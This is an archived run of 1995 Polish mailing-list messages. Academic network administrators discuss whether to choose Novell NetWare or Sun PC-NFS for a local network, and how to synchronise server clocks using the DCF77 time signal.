> Przerabiamy to w Poznaniu na co dzien.
  ---
  polecam lekture rfc1713 i narzedzia do testowania tam wymienione
  (prawie) wszystko dostepne w: ftp://ftp.immt.pwr.wroc.pl/pub/nettools/

  Wojtek

From news.polip@cyber.ict.pwr.wroc.pl Wed Jan 18 15:05:29 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA17172; Wed, 18 Jan 95 15:03:39 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id OAA04523 for polip@zsku.p.lodz.pl; Wed, 18 Jan 1995 14:59:14 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 18 Jan 1995 13:54:28 GMT
From: myszka@immt.pwr.wroc.pl (Wojciech Myszka)
Message-Id: <3fj6ik$ct7@sun1000.ci.pwr.wroc.pl>
Organization: Institute of Material Science and Technical Mechanics, Wroclaw, Poland
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <9501171613.AA04342@kme.agh.edu.pl>, <solarz.113.2F1D1661@ibspan.waw.pl>
Subject: Re: Palac Staszica - jaka siec lokalna wybrac?

Bartlomiej Solarz (solarz@ibspan.waw.pl) pisal (miedzy innymi):
  [...]
> Po za bledami powyzej to swinstwo kosztuje po uwzglednieniu znizek 700$ (od 
> komputera!)!!!!

  ---
  jest tez klient nfs (dos) calkiem tani (PD/shareware), inne implementacje
  (moze niezbyt doskonale) sa znacznie tansze...

  Wojtek
From news.polip@cyber.ict.pwr.wroc.pl Wed Jan 18 15:05:30 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA17177; Wed, 18 Jan 95 15:03:41 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id OAA04522 for polip@zsku.p.lodz.pl; Wed, 18 Jan 1995 14:59:12 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 18 Jan 1995 13:51:27 GMT
From: myszka@immt.pwr.wroc.pl (Wojciech Myszka)
Message-Id: <3fj6cv$ct7@sun1000.ci.pwr.wroc.pl>
Organization: Institute of Material Science and Technical Mechanics, Wroclaw, Poland
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <2A78AB7C8B@elektron.pol.lublin.pl>
Subject: Re: Ustawianie czasu-odbiornik DCF77

Eligiusz Pawlowski, LUBLIN. (ELEKP@elektron.pol.lublin.pl) pisal, miedzy 
innymi:
  [...]
> Sygnaly czasu nadawane na innych programach radiowych, w telewizji, w
> telegazecie itp. nie sa synchronizowane z urzedowym wzorcem czasu w Polsce.
  ---
  Natomiast, z moich obserwacji (i anonsow w samej telegazecie) wynika,
  ze czas telegazety jest bardzo dokladny.

  Wojtek
From news.polip@cyber.ict.pwr.wroc.pl Wed Jan 18 15:26:49 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA18623; Wed, 18 Jan 95 15:23:35 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id PAA04980 for polip@zsku.p.lodz.pl; Wed, 18 Jan 1995 15:21:46 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 18 Jan 1995 13:51:39 GMT
From: andy@eleet.mimuw.edu.pl (Andrzej K. Brandt)
Message-Id: <3fj6db$qb5@ghost.mimuw.edu.pl>
Organization: Department of Maths and Computer Science, Warsaw University
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <9501171613.AA04342@kme.agh.edu.pl>
Subject: Re: Palac Staszica - jaka siec lokalna wybrac?

Grzegorz Krawczyk (krawczyk@kme.agh.edu.pl) wrote:

: Rozwiazaniem jest ethernet w warstwie fizycznej novell jako sieciowy
: system operacyjny, a w przyszlosci jesli zajdzie taka potrzeba
: inny system o ktory by mozna oprzec baze danych.

Uwaga na marginesie - jak slyszalem istnieje produkt Novell'a do
instalowania na serverze NetWare, ktory powoduje ze jego dyski staja sie
dostepne przez NFS. Tak wiec w przyszlosci dolaczanie Unixow moglo by byc
mniej bolesne niz sie wydaje.

--

                               73 de Andy SP5WCA

/-------------------+--------+-------------------+-------------------------\
I Andrzej K. Brandt I SP5WCA I andy@mimuw.edu.pl I   andy@sp5wca.ampr.org  I 
\-------------------+--------+-------------------+-------------------------/
From news.polip@cyber.ict.pwr.wroc.pl Wed Jan 18 15:26:55 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA18650; Wed, 18 Jan 95 15:23:55 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id PAA04979 for polip@zsku.p.lodz.pl; Wed, 18 Jan 1995 15:21:45 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 18 Jan 1995 13:39:18 GMT
From: andy@eleet.mimuw.edu.pl (Andrzej K. Brandt)
Message-Id: <3fj5m6$qb5@ghost.mimuw.edu.pl>
Organization: Department of Maths and Computer Science, Warsaw University
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <2682FB5771@elektron.pol.lublin.pl>, <3fj02j$6i9@sun1000.ci.pwr.wroc.pl>
Subject: Re: Ustawianie czasu-odbiornik DCF77

Jarek Lis (lis@asic.ict.pwr.wroc.pl) wrote:
: Eligiusz Pawlowski, LUBLIN. (ELEKP@elektron.pol.lublin.pl) wrote:
: : Witam spragnionych dokladnego czasu!
: : Problem synchronizacji czasu poprzez siec, z servera czasu jest mi obcy.
: : Wiem natomiast, ze stosunkowo latwo mozna zsynchronizowac czas w dowolnym 
: : komputerze (a wiec i w lokalnym serverze), z jednym z dokladniejszych zegarow
: : w europie.

: : Zegar znajduje sie w Niemczech, w Mainflingen i jest jednostka PTB.
: : PTB jest niemieckim odpowiednikiem CUJM (Centralny Urzad Jednostek i Miar).
: : Niemiecki zegar steruje nadajnik radiowy, pracujacy z czestotliwoscia 77,5kHz,
: : stad nazwa tego nadajnika DCF77.
: : .....

: Hobbystow zachecam do wykonania. 

A masz jakies schematy etc?

Powaznie, to mysle, ze poza obserwatoriami itp. miejscami to _az_ tak
dokladny czas potrzebny nie jest. Natomiast - napewno potrzebna jest
synchronizacja, co tu bylo poruszone, i dobrze - bo dzieki temu pare osob (i
ja tez ;-) poprawi to na swoich systemach.

--

                               73 de Andy SP5WCA

/-------------------+--------+-------------------+-------------------------\
I Andrzej K. Brandt I SP5WCA I andy@mimuw.edu.pl I   andy@sp5wca.ampr.org  I 
\-------------------+--------+-------------------+-------------------------/
From piotrwi Wed Jan 18 15:51:50 1995
Received:  by zsku.p.lodz.pl (5.65/25-eef)
	id AA20648; Wed, 18 Jan 95 15:50:59 +0100
Return-Path: <piotrwi>
Date: Wed, 18 Jan 1995 15:50:54 +0100 (MEZ)
From: Piotr Wilk <piotrwi@zsku.p.lodz.pl>
To: polip@zsku.p.lodz.pl
Subject: Re: Palac Staszica - jaka siec lokalna wybrac?
Message-Id: <Pine.SCO.3.91.950118154948.18786C-100000@zsku.p.lodz.pl>
Organization: Samodzielny Zaklad Sieci Komputerowych Politechniki Lodzkiej
Address: 90-924 Lodz; ul. Stefanowskiego 18/22
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII


Nie wiem czy to bylo juz na liscie czy nie.


Pozdrawiam,

                                   Piotrek

--
--------------------------------------------------------------
|                        Piotr Wilk                          |
|------------------------------------------------------------|
|     Samodzielny Zaklad      |  email:                      |
|     Sieci Komputerowych     |    piotrwi@zsku.p.lodz.pl    |
|    Politechniki Lodzkiej    |    piotrwi at plearn         |
--------------------------------------------------------------


---------- Forwarded message ----------
>From news.polip@cyber.ict.pwr.wroc.pl Wed Jan 18 14:47:03 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA15788; Wed, 18 Jan 95 14:43:40 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id OAA03726 for polip@zsku.p.lodz.pl; Wed, 18 Jan 1995 14:30:59 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: Wed, 18 Jan 1995 13:23:45 GMT
From: solarz@ibspan.waw.pl (Bartlomiej Solarz)
Message-Id: <solarz.113.2F1D1661@ibspan.waw.pl>
Organization: Instytut Badan Systemowych
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <9501171613.AA04342@kme.agh.edu.pl>
Subject: Re: Palac Staszica - jaka siec lokalna wybrac?



>Jaroslaw Rafa pisze:
>> 
>> > Sadze, ze bedzie duze zapotrzebowanie na poczte Internetowa, mniejsze
>> > na telnet i ftp. Bardzo odradzano mi Novella jako trudnego
>> >                  do pogodzenia z jakimkolwiek oprogramowaniem.
>>                    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
>> > Bede wdzieczny za wszelkie rady.
>> > 
>> ????????????

>Podzielam zdziwienie. Acz musze przyznac, ze jeszcze do niedawna bylem
>sceptycznie nastawiony do tego systemu. Jednak zrozumialem juz,
>ze w wiekszosci przypadkow alternatywy brak :-)

Alternatywa jest: PC-NFS by SUN Microsystems. Tylko na skutek masy bledow i 
zle napisanego shella na PC (po uruchomieniu na 386 zostaje 520KB RAM-u 
konwencjonalnego (oczywiscie z wykorzystaniem UMB))!!!, obsluga drukarek 
przylaczonych do innych lokalnych PC jest tylko teoretycznie mozliwa w trybie 
non-dedicated po uruchomieniu zostaje ci 380KB!!!!, po za tym wiekszosc 
oprogramowania powstajacego aktualnie robi psikusy (co najmniej!) w trakcie 
instalacji. I najwazniejszy byk na skutek specyficznej obslugi NFS przez SUN 
4.1.3 i inne UNIX-y np. HP-UX 7.0, 8.0 nie ma buforowania dysku w trakcie 
zapisu. (W trakcie odczytu jest!), Mam CUS takiego i pracuje, ale z checia 
zmienil bym to na NOVELL-a 4.01.

Po za bledami powyzej to swinstwo kosztuje po uwzglednieniu znizek 700$ (od 
komputera!)!!!!

Z powazaniem


From krawczyk@kme.agh.edu.pl Wed Jan 18 16:01:50 1995
Received: from robak.kme.agh.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA21169; Wed, 18 Jan 95 15:58:26 +0100
Return-Path: <krawczyk@kme.agh.edu.pl>
Received: by kme.agh.edu.pl (4.1/SMI-4.1)
	id AA05990; Wed, 18 Jan 95 15:55:53 +0100
From: krawczyk@kme.agh.edu.pl (Grzegorz Krawczyk)
Organization: University of Mining and Metallurgy
Address: Mickiewicza 30, 30-059 Krakow, POLAND
Message-Id: <9501181455.AA05990@kme.agh.edu.pl>
Subject: Re: Palac Staszica - jaka siec lokalna wybrac?
To: polip@zsku.p.lodz.pl
Date: Wed, 18 Jan 1995 15:55:52 +0100 (MET)
In-Reply-To: <solarz.112.2F1D1656@ibspan.waw.pl> from "Bartlomiej Solarz" at Jan 18, 95 03:06:29 pm
X-Mailer: ELM [version 2.4 PL21]
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Content-Length: 2816      

Bartlomiej Solarz pisze:
> >Jaroslaw Rafa pisze:
> >> > Sadze, ze bedzie duze zapotrzebowanie na poczte Internetowa, mniejsze
> >> > na telnet i ftp. Bardzo odradzano mi Novella jako trudnego
> >> >                  do pogodzenia z jakimkolwiek oprogramowaniem.
> >> > Bede wdzieczny za wszelkie rady.
> >> ????????????
> >Podzielam zdziwienie. Acz musze przyznac, ze jeszcze do niedawna bylem
> >sceptycznie nastawiony do tego systemu. Jednak zrozumialem juz,
> >ze w wiekszosci przypadkow alternatywy brak :-)
> Alternatywa jest: PC-NFS by SUN Microsystems. Tylko na skutek masy bledow i 
> zle napisanego shella na PC (po uruchomieniu na 386 zostaje 520KB RAM-u 
> konwencjonalnego (oczywiscie z wykorzystaniem UMB))!!!,

O!. Korzystam Z PC-NFSa i zostaje mi troche ponad 600KB wolnego
po zaladowaniu driverow sieciowych (w tym packet drivera i pktmux).
Polecam QEMM386. Inteligentniej niz EMM386 gospodaruje pamiecia UMB
(bez zadnych shadows i tego tupu sztuczek jest "lepszy" o ok. 70KB).
Mialem obawy co do kompatybilnosci, ale poki co dziala bez pudla
(nawet MS Windows :-).

> obsluga drukarek 
> przylaczonych do innych lokalnych PC jest tylko teoretycznie mozliwa w trybie 
> non-dedicated po uruchomieniu zostaje ci 380KB!!!!, po za tym wiekszosc 
> oprogramowania powstajacego aktualnie robi psikusy (co najmniej!) w trakcie 
> instalacji.

Pomysl korzystania z drukarki podpietej do innego PC jest,
moim zdaniem, zly. Owszemm, PC-NFS daje taka mozliwosc, ale wzgledy
praktyczne przemawiaja przeciw: pamiec, efektywnosc, niezawodnosc.

Ja mam najzwyklej w swiecie podpieta drukarke do SUNa przez RS232,
9600bps - dziala niezawodnie. W praktyce przecwiczylem taka
konfiguracje z iglowkami, HP3P.

> I najwazniejszy byk na skutek specyficznej obslugi NFS przez SUN 
> 4.1.3 i inne UNIX-y np. HP-UX 7.0, 8.0 nie ma buforowania dysku w trakcie 
> zapisu. (W trakcie odczytu jest!), Mam CUS takiego i pracuje, ale z checia 
> zmienil bym to na NOVELL-a 4.01.

Pytanie tylko czy to jest byk czy jekies wzgledy przemawiaja za tym
aby nie buforowac zapisu. Gdyby to byl byk to, przyznasz, bardzo
osobliwy.

Mozna ponoc przejsc przy NFS-ie na transmisje asynchroniczna. Jest,
z tego co slyszalem, efektywniejsza. Ale to tyle co na ten temat wiem.
Jakie taka zmiana rodzi inne skutki i jak to sie robi - nie wiem. 
Moze ktos sie wypowie.

Nie zmienia to faktu, ze z checia bym zmienil to na NOVELL-a 3.12.

> 
> Po za bledami powyzej to swinstwo kosztuje po uwzglednieniu znizek 700$ (od 
> komputera!)!!!!
> 
> Z powazaniem
> 
> 
> 

Wiem, ze PC-NFS nie jest tani, ale zeby az tyle z ludzi zdzierac? :-(
Ja swojego dostalem od uczelni, byl centralny zakup.

Grzegorz

-- 
Grzegorz Krawczyk                              krawczyk@kme.agh.edu.pl
University of Mining and Metallurgy       Chair of Electrical Machines
From krawczyk@kme.agh.edu.pl Wed Jan 18 16:11:51 1995
Received: from robak.kme.agh.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA21908; Wed, 18 Jan 95 16:10:39 +0100
Return-Path: <krawczyk@kme.agh.edu.pl>
Received: by kme.agh.edu.pl (4.1/SMI-4.1)
	id AA06017; Wed, 18 Jan 95 16:08:07 +0100
From: krawczyk@kme.agh.edu.pl (Grzegorz Krawczyk)
Organization: University of Mining and Metallurgy
Address: Mickiewicza 30, 30-059 Krakow, POLAND
Message-Id: <9501181508.AA06017@kme.agh.edu.pl>
Subject: Re: Ustawianie czasu-odbiornik DCF77
To: polip@zsku.p.lodz.pl
Date: Wed, 18 Jan 1995 16:08:06 +0100 (MET)
In-Reply-To: <3fj5m6$qb5@ghost.mimuw.edu.pl> from "Andrzej K. Brandt" at Jan 18, 95 03:53:10 pm
X-Mailer: ELM [version 2.4 PL21]
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Content-Length: 1256      

Andrzej K. Brandt pisze:
> 
> Powaznie, to mysle, ze poza obserwatoriami itp. miejscami to _az_ tak
> dokladny czas potrzebny nie jest. Natomiast - napewno potrzebna jest
> synchronizacja, co tu bylo poruszone, i dobrze - bo dzieki temu pare osob (i
> ja tez ;-) poprawi to na swoich systemach.
> 

Ba. Zachecam inne osoby czytajace liste do zrobienia tego samego
jesli jeszcze tego nie uczynily. Zacznijmy od porzadkow na wlasnych
lokalnych podworkach. Wyznaczamy jeden lokalny timeserwer, na nim
pilnujemy czasu (tymczasem recznie, w przyszlosci synchronizujac),
i od niego synchronizujemy pozostale serwery, hosty, wezly, satelity...

> --
> 
>                                73 de Andy SP5WCA
> 
> /-------------------+--------+-------------------+-------------------------\
> I Andrzej K. Brandt I SP5WCA I andy@mimuw.edu.pl I   andy@sp5wca.ampr.org  I 
> \-------------------+--------+-------------------+-------------------------/
> 

Grzegorz

-- 
.------------------------------------------------------------------------.
| Grzegorz Krawczyk                              krawczyk@kme.agh.edu.pl |
| University of Mining and Metallurgy       Chair of Electrical Machines |
`------------------------------------------------------------------------'
From news.polip@cyber.ict.pwr.wroc.pl Wed Jan 18 16:26:51 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA22661; Wed, 18 Jan 95 16:23:36 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id QAA06022 for polip@zsku.p.lodz.pl; Wed, 18 Jan 1995 16:12:42 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 18 Jan 1995 15:05:08 GMT
From: lis@asic.ict.pwr.wroc.pl (Jarek Lis)
Message-Id: <3fjan4$g7c@sun1000.ci.pwr.wroc.pl>
Organization: Technical Univeristy of Wroclaw
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <9501171613.AA04342@kme.agh.edu.pl>, <3fj6db$qb5@ghost.mimuw.edu.pl>
Subject: Re: Palac Staszica - jaka siec lokalna wybrac?

Andrzej K. Brandt (andy@eleet.mimuw.edu.pl) wrote:
: Grzegorz Krawczyk (krawczyk@kme.agh.edu.pl) wrote:

: : Rozwiazaniem jest ethernet w warstwie fizycznej novell jako sieciowy
: : system operacyjny, a w przyszlosci jesli zajdzie taka potrzeba
: : inny system o ktory by mozna oprzec baze danych.

: Uwaga na marginesie - jak slyszalem istnieje produkt Novell'a do
: instalowania na serverze NetWare, ktory powoduje ze jego dyski staja sie
: dostepne przez NFS. Tak wiec w przyszlosci dolaczanie Unixow moglo by byc
: mniej bolesne niz sie wydaje.


W zasadzie nie powinienem roznosic plotek, ale o NFS na Novell slyszalem
dwie rzeczy:

1. Drogi,
2. Bledow i niekompatybilnosci sporo, wiec wiecej klopotow niz uciechy.

Mam nadzieje, ze 2. zniknie powoli w zwiazku z rozwijaniem przez firme 
Unixware'a

: --

:                                73 de Andy SP5WCA

: /-------------------+--------+-------------------+-------------------------\
: I Andrzej K. Brandt I SP5WCA I andy@mimuw.edu.pl I   andy@sp5wca.ampr.org  I 
: \-------------------+--------+-------------------+-------------------------/
From RAJ@inf.wsp.krakow.pl Wed Jan 18 18:35:12 1995
Received: from nms.cyf-kr.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA25476; Wed, 18 Jan 95 18:33:07 +0100
Return-Path: <RAJ@inf.wsp.krakow.pl>
Received: from inf.wsp.krakow.pl (inf.wsp.krakow.pl [149.156.24.10]) by nms.cyf-kr.edu.pl (8.6.9/8.6.9) with SMTP id SAA07411 for <polip@zsku.p.lodz.pl>; Wed, 18 Jan 1995 18:36:58 +0100
Received: from INF/~MAIL~ by inf.wsp.krakow.pl (Mercury 1.12);
    Wed, 18 Jan 95 18:30:27 GMT+0100
Received: from ~MAIL~ by INF (Mercury 1.12); Wed, 18 Jan 95 18:30:04 GMT+0100
From: "Jaroslaw Rafa" <RAJ@inf.wsp.krakow.pl>
Organization:  Zaklad Informatyki WSP, Krakow
To: polip@zsku.p.lodz.pl
Date:          Wed, 18 Jan 1995 18:30:02 GMT+0100
Subject:       Re: Palac Staszica - jaka siec lokalna wybrac?
Priority: normal
X-Mailer: Pegasus Mail v3.21
Message-Id: <1424F536EB@inf.wsp.krakow.pl>

> Date sent:      Wed, 18 Jan 95 15:44:36 +0100
> Send reply to:  polip@zsku.p.lodz.pl
> From:           andy@eleet.mimuw.edu.pl (Andrzej K. Brandt)
> To:             sfrafa@cyf-kr.edu.pl
> Subject:        Re: Palac Staszica - jaka siec lokalna wybrac?
> Organization:   Department of Maths and Computer Science, Warsaw University

> Uwaga na marginesie - jak slyszalem istnieje produkt Novell'a do
> instalowania na serverze NetWare, ktory powoduje ze jego dyski staja sie
> dostepne przez NFS. Tak wiec w przyszlosci dolaczanie Unixow moglo by byc
> mniej bolesne niz sie wydaje.
> 
Z tego co wiem, kosztuje koszmarna sume (cos okolo 1000$), wiecej niz sam 
Netware. Niestety :-( bo nam by sie to bardzo przydalo. Ale moze sie myle.
Pozdrowienia,
   Jaroslaw Rafa
   sfrafa@cyf-kr.edu.pl, raj@inf.wsp.krakow.pl
From RAJ@inf.wsp.krakow.pl Wed Jan 18 18:41:52 1995
Received: from nms.cyf-kr.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA25667; Wed, 18 Jan 95 18:37:35 +0100
Return-Path: <RAJ@inf.wsp.krakow.pl>
Received: from inf.wsp.krakow.pl (inf.wsp.krakow.pl [149.156.24.10]) by nms.cyf-kr.edu.pl (8.6.9/8.6.9) with SMTP id SAA07443 for <polip@zsku.p.lodz.pl>; Wed, 18 Jan 1995 18:41:26 +0100
Received: from INF/~MAIL~ by inf.wsp.krakow.pl (Mercury 1.12);
    Wed, 18 Jan 95 18:34:54 GMT+0100
Received: from ~MAIL~ by INF (Mercury 1.12); Wed, 18 Jan 95 18:34:40 GMT+0100
From: "Jaroslaw Rafa" <RAJ@inf.wsp.krakow.pl>
Organization:  Zaklad Informatyki WSP, Krakow
To: polip@zsku.p.lodz.pl
Date:          Wed, 18 Jan 1995 18:34:39 GMT+0100
Subject:       Re: Palac Staszica - jaka siec lokalna wybrac?
Priority: normal
X-Mailer: Pegasus Mail v3.21
Message-Id: <1438A76574@inf.wsp.krakow.pl>

> Date sent:      Wed, 18 Jan 95 16:17:27 +0100
> Send reply to:  polip@zsku.p.lodz.pl
> From:           krawczyk@kme.agh.edu.pl (Grzegorz Krawczyk)
> To:             sfrafa@cyf-kr.edu.pl
> Subject:        Re: Palac Staszica - jaka siec lokalna wybrac?
> Organization:   University of Mining and Metallurgy

> Pomysl korzystania z drukarki podpietej do innego PC jest,
> moim zdaniem, zly. [...]
Czyzby? Rozwaz taki uklad:
cztery laboratoria studenckie po 6 PC w sieci Novell. Jeden serwer w miejscu 
z zalozenia niedostepnym dla studentow. W kazdej pracowni drukarka przy 
jednym z PC. Wydruki wykonywane w danej pracowni ida na drukarke umieszczona 
w tejze pracowni. W takim ukladzie wlasnie podlaczanie drukarki do serwera 
byloby zlym pomyslem! 
Pozdrowienia,
   Jaroslaw Rafa
   sfrafa@cyf-kr.edu.pl, raj@inf.wsp.krakow.pl
From kokowski@CS.PUT.Poznan.PL Wed Jan 18 21:56:54 1995
Received: from syriusz.cs.put.poznan.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA00107; Wed, 18 Jan 95 21:56:04 +0100
Return-Path: <kokowski@CS.PUT.Poznan.PL>
Received: from wega.ics.tup.edu.pl (wega.cs.put.poznan.pl) by syriusz.cs.put.poznan.pl (4.1/SMI-4.1)
	id AA05825; Wed, 18 Jan 95 21:57:46 +0100
Subject: Re: IdS: Czy "Internet dla Szkol" wymaga zezwolenia telekom
To: polip@zsku.p.lodz.pl
Date: Wed, 18 Jan 1995 21:43:59 +0100 (CEU)
From: Tomasz Kokowski <kokowski@CS.PUT.Poznan.PL>
In-Reply-To: <199501181026.KAA09252@hebe.umcs.lublin.pl> from "Krzysztof Mlynarski" at Jan 18, 95 11:43:23 am
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Length: 351       
Message-Id:  <9501182144.aa21441@wega.ics.tup.edu.pl>

> 
> Rowniez podpisuje sie pod tym pytaniem. Nie widzielem nigdzie EUnet'u u
> nas poza tymi ogloszeniami, ktore swego czasu ganialy po listach
> dyskusyjnych.
> 					Pozdrawiam,
> 					   -Krzysio
>
  Mnie sie poszczescilo. Mam nawet mapke polaczen EuNet. Biuro jest tuz 
obok kwatery Solidex-u w Warszawie (XVI pietro w Mariocie). 

Tomasz Kokowski
From kokowski@CS.PUT.Poznan.PL Wed Jan 18 22:01:54 1995
Received: from syriusz.cs.put.poznan.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA00358; Wed, 18 Jan 95 22:00:02 +0100
Return-Path: <kokowski@CS.PUT.Poznan.PL>
Received: from wega.ics.tup.edu.pl (wega.cs.put.poznan.pl) by syriusz.cs.put.poznan.pl (4.1/SMI-4.1)
	id AA05836; Wed, 18 Jan 95 22:01:41 +0100
Subject: Re: Palac Staszica - jaka siec lokalna wybrac?
To: polip@zsku.p.lodz.pl
Date: Wed, 18 Jan 1995 21:47:54 +0100 (CEU)
From: Tomasz Kokowski <kokowski@CS.PUT.Poznan.PL>
In-Reply-To: <3fj6db$qb5@ghost.mimuw.edu.pl> from "Andrzej K. Brandt" at Jan 18, 95 03:44:26 pm
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Length: 296       
Message-Id:  <9501182147.aa21470@wega.ics.tup.edu.pl>

> 
> Uwaga na marginesie - jak slyszalem istnieje produkt Novell'a do
> instalowania na serverze NetWare, ktory powoduje ze jego dyski staja sie
> dostepne przez NFS. Tak wiec w przyszlosci dolaczanie Unixow moglo by byc
> mniej bolesne niz sie wydaje.
>
  NetWare for NFS. 


   Tomasz Kokowski
From GMIELCAR@sweet.iie.wsi.zgora.pl Wed Jan 18 22:11:55 1995
Received: from vigo.iie.wsi.zgora.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA01062; Wed, 18 Jan 95 22:09:53 +0100
Return-Path: <GMIELCAR@sweet.iie.wsi.zgora.pl>
Received: from candy1.iie.wsi.zgora.pl by vigo.iie.wsi.zgora.pl (AIX 3.2/UCB 5.64/4.03)
          id AA15644; Wed, 18 Jan 1995 22:09:52 +0100
Received: from CANDY/SpoolDir by candy.iie.wsi.zgora.pl (Mercury 1.20);
    18 Jan 95 22:07:53 +0100
Received: from SpoolDir by CANDY (Mercury 1.20); 18 Jan 95 22:07:30 +0100
Received: from sweet.iie.wsi.zgora.pl by candy.iie.wsi.zgora.pl (Mercury 1.20) with ESMTP;
    18 Jan 95 22:07:29 +0100
Received: from SWEET/SpoolDir by sweet.iie.wsi.zgora.pl (Mercury 1.20);
    18 Jan 95 22:08:25 +0100
Received: from SpoolDir by SWEET (Mercury 1.20); 18 Jan 95 22:07:55 +0100
From: "Grzegorz Mielcarek" <GMIELCAR@sweet.iie.wsi.zgora.pl>
Organization:  Instytut Informatyki i Elektroniki
To: polip@zsku.p.lodz.pl
Date:          Wed, 18 Jan 1995 22:07:45 GMT+01
Subject:       Re: Ustawianie czasu-odbiornik DCF77
X-Confirm-Reading-To: "Grzegorz Mielcarek" <GMIELCAR@sweet.iie.wsi.zgora.pl>
X-Pmrqc:       1
Priority: normal
X-Mailer: Pegasus Mail v3.22
Message-Id: <24A1F53446@sweet.iie.wsi.zgora.pl>

> Jest w Polsce firma, ktora to oferuje.

Gdzies kiedys czytalem, chyba w PCKurierze, ze polska firma skonstruowala 
zegar do synchronizacji czasu w sieci Novell Netware 4.0 i sprzedaje to po 
calym swiecie. Czy jest to ta sama firma? Nie wiem, ale "Polacy nie gesi 
i swoj zegar maja".

-Grzesiek



----------------------------------------------------------------------------
Grzegorz Mielcarek                   |  gmielcar@sweet.iie.wsi.zgora.pl
Wyzsza Szkola Inzynierska            |  g.mielcarek@wsi.zgora.pl
Instytut Informatyki i Elektroniki   |  
ul. Podgorna 50                      |  tel: 068/254611, 254831 w. 231
65-265 Zielona Gora                  |  fax: 068/253944  
---------------------------------------------------------------------------
          "If you wanna be so sexy, you must drink a lot of Pepsi"
---------------------------------------------------------------------------- 

From GMIELCAR@sweet.iie.wsi.zgora.pl Wed Jan 18 22:16:56 1995
Received: from vigo.iie.wsi.zgora.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA01486; Wed, 18 Jan 95 22:15:50 +0100
Return-Path: <GMIELCAR@sweet.iie.wsi.zgora.pl>
Received: from candy1.iie.wsi.zgora.pl by vigo.iie.wsi.zgora.pl (AIX 3.2/UCB 5.64/4.03)
          id AA17372; Wed, 18 Jan 1995 22:15:53 +0100
Received: from CANDY/SpoolDir by candy.iie.wsi.zgora.pl (Mercury 1.20);
    18 Jan 95 22:13:54 +0100
Received: from SpoolDir by CANDY (Mercury 1.20); 18 Jan 95 22:13:26 +0100
Received: from sweet.iie.wsi.zgora.pl by candy.iie.wsi.zgora.pl (Mercury 1.20) with ESMTP;
    18 Jan 95 22:13:25 +0100
Received: from SWEET/SpoolDir by sweet.iie.wsi.zgora.pl (Mercury 1.20);
    18 Jan 95 22:14:21 +0100
Received: from SpoolDir by SWEET (Mercury 1.20); 18 Jan 95 22:13:52 +0100
From: "Grzegorz Mielcarek" <GMIELCAR@sweet.iie.wsi.zgora.pl>
Organization:  Instytut Informatyki i Elektroniki
To: polip@zsku.p.lodz.pl
Date:          Wed, 18 Jan 1995 22:13:47 GMT+01
Subject:       Re: Ustawianie czasu-odbiornik DCF77
